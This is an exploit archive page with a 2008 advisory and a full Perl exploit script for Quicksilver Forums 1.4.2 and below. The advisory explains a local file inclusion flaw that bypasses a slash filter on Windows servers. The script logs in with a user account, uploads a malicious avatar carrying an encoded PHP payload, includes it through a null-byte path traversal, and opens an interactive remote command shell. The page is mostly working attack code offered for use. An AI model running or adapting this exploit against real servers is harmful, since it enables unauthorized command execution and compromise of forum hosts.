what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

quicksilverforums-rce.txt

quicksilverforums-rce.txt
Posted Nov 25, 2008
Authored by __GiReX__ | Site girex.altervista.org

Quicksilver Forums versions 1.4.2 and below suffer from local file inclusion and malicious avatar upload vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | 52e73b5d85cf2beaa5ce757b5bbf2541d986efa2f3239a35119dc99182adf5ac

quicksilverforums-rce.txt

Change Mirror Download
# Author:  __GiReX__
# Homepage: girex.altervista.org

# Date: 24/11/2008

# CMS: Quicksilver Forums <= 1.4.2
# Site: http://www.quicksilverforums.com/

# Bug: Local File Inclusion
# Exploit: Remote Command Execution

# Note: Works with windows servers only
Works regardless php.ini settings

# Bug Discussion:

# file: global.php
# lines: 318-329

function get_lang($lang, $a = null, $path = './', $main = true)
{
if (isset($this->get['lang'])) {
$lang = $this->get['lang'];

}

if (strstr($lang, '/') || !file_exists($path . 'languages/' . $lang . '.php')) {
$lang = 'en';
}

include $path . 'languages/' . $lang . '.php';

# As you can see, Quicksilver filter can be easily bypassed in windows servers
# couse use of backslashes "\" in filesystem's paths.

# Thanks to the functions uset_magic_quotes_gpc() this vuln works regardless php.ini setting

# We can upload a malicious avatar and include it to have a RCE


#!/usr/bin/perl
# Quicksilver Forums <= 1.4.2 RCE Exploit (win only)
# Local File Inclusion / Malicious Avatar Upload
# Coded by __GiReX__

use IO::Socket::INET;
use MIME::Base64;

if(@ARGV < 3)
{
banner();
print "[+] You need an user account to run this exploit\n\n";
print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass>\n";
print "[+] Example: perl $0 localhost /quick/ test password\n";
exit;
}

my ($host, $path, $user, $pass) = @ARGV;

$host =~ s/^http:\/\///;
$host =~ s/^www\.//;
$target = "http://${host}${path}";

banner();
check_vuln();

$cookie = do_login() or debug($debug, 1);
upload_avatar() or debug($debug, 2);

while(1)
{
print "[+] shell\@quick:\$ ";
chomp(my $cmd = <STDIN>);

exit if $cmd eq 'exit';
create_socket();

print $sd "GET ${target}index.php?lang=..\\avatars\\uploaded\\${user_id}.png%00 HTTP/1.1\r\n".
"Host: $host\r\n".
"Cookie: $cookie\r\n".
"CMD: ". encode_base64($cmd)."\r\n".
"Connection: keep-alive\r\n\r\n";

$out .= $_ while <$sd>;

if($out =~ /-code-/)
{
$_out = substr($out, index($out, '-code-') + 6); $n = index($_out, '-code');
$__out = substr($_out, 0, $n);
}
else
{
debug($out, 3);
}

close($sd);
$out = undef;

print STDOUT "\n". $__out."\n";
}

sub check_vuln
{
create_socket();

print $sd "GET ${target}index.php?lang=..\\languages\\en.php%00 HTTP/1.1\r\n".
"Host: $host\r\n".
"Connection: keep-alive\r\n\r\n";

while(my $res = <$sd>)
{
$ok = 1 if $res =~ /404 Not Found/;

if($res =~ /<b>Fatal error<\/b>/)
{
close($sd);
return 1;
}

our $debug .= $res;
}

print STDOUT "\n[-] Server not vulnerable, maybe it's not a win server!\n" and exit
if not defined $ok;

debug($debug, 0);
}


sub do_login
{
create_socket();
my $data = "user=${user}&pass=${pass}&request_uri=%2F${path}%2Findex.php&submit=Invia";

print $sd "POST ${target}index.php?a=login&s=on HTTP/1.1\r\n" .
"Host: $host\r\n" .
"Connection: keep-alive\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-Length: ". length($data)."\r\n\r\n" .
$data . "\r\n\r\n";



while(my $res = <$sd>)
{
if($res =~ /Set-Cookie: (\w+)_user=([0-9]+)/)
{
$prefix = $1 unless $prefix;
$user_id = $2 unless $user_id;
}
elsif($res =~ /Set-Cookie: \w+_pass=([a-z0-9]{32})/)
{
my $hash_pwd = $1; close($sd);
print STDOUT "\n[+] Logged in with $user account\n";

return "${prefix}_user=${user_id}; ${prefix}_pass=${hash_pwd};";
}

our $debug .= $res;
}

close($sd);
return undef;
}

sub upload_avatar
{
create_socket();
# Image content + post's var base64 encoded
my $data = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMjY0ODI3NDQ2MjM4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sd "POST ${target}index.php?a=cp&s=avatar HTTP/1.1\r\n".
"Host: $host\r\n" .
"Connection: keep-alive\r\n" .
"Cookie: $cookie\r\n" .
"Content-Type: multipart/form-data; boundary=---------------------------226482744623805\r\n" .
"Content-Length: ". length($data)."\r\n\r\n" .
$data . "\r\n\r\n";


while(my $res = <$sd>)
{
if($res =~ /Your avatar has been updated/)
{
print "[+] Malicious avatar uploaded\n\n"; close($sd);
return 1;
}

our $debug .= $res;
}

close($sd);
return undef;
}

sub create_socket
{
our $sd = new IO::Socket::INET( 'PeerAddr' => $host,
'PeerPort' => '80',
'Proto' => 'tcp',
) or die $@;
}

sub debug
{
my $output = shift;
my $errno = shift;

open(DEBUG, '>', 'debug.txt');
print DEBUG $debug;

if($errno eq '0')
{
print STDOUT "\n[-] Unable to request index.php! See debug.txt for more infos\n";
}
if($errno eq '1')
{
print STDOUT "\n[-] Unable to login! See debug.txt for more infos.\n";
}
elsif($errno eq '2')
{
print STDOUT "\n[-] Unable to upload avatar! See debug.txt for more infos.\n";
}
elsif($errno eq '3')
{
print STDOUT "\n[-] Exploit mistake! See debug.txt for more infos.\n";
}

close(DEBUG);
exit;
}

sub banner
{
print STDOUT "\n[+] Quicksilver Forums <= 1.4.2 RCE Exploit (win only)\n".
"[+] Local File Inclusion / Malicious Avatar Upload\n".
"[+] Coded by __GiReX__\n\n";
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close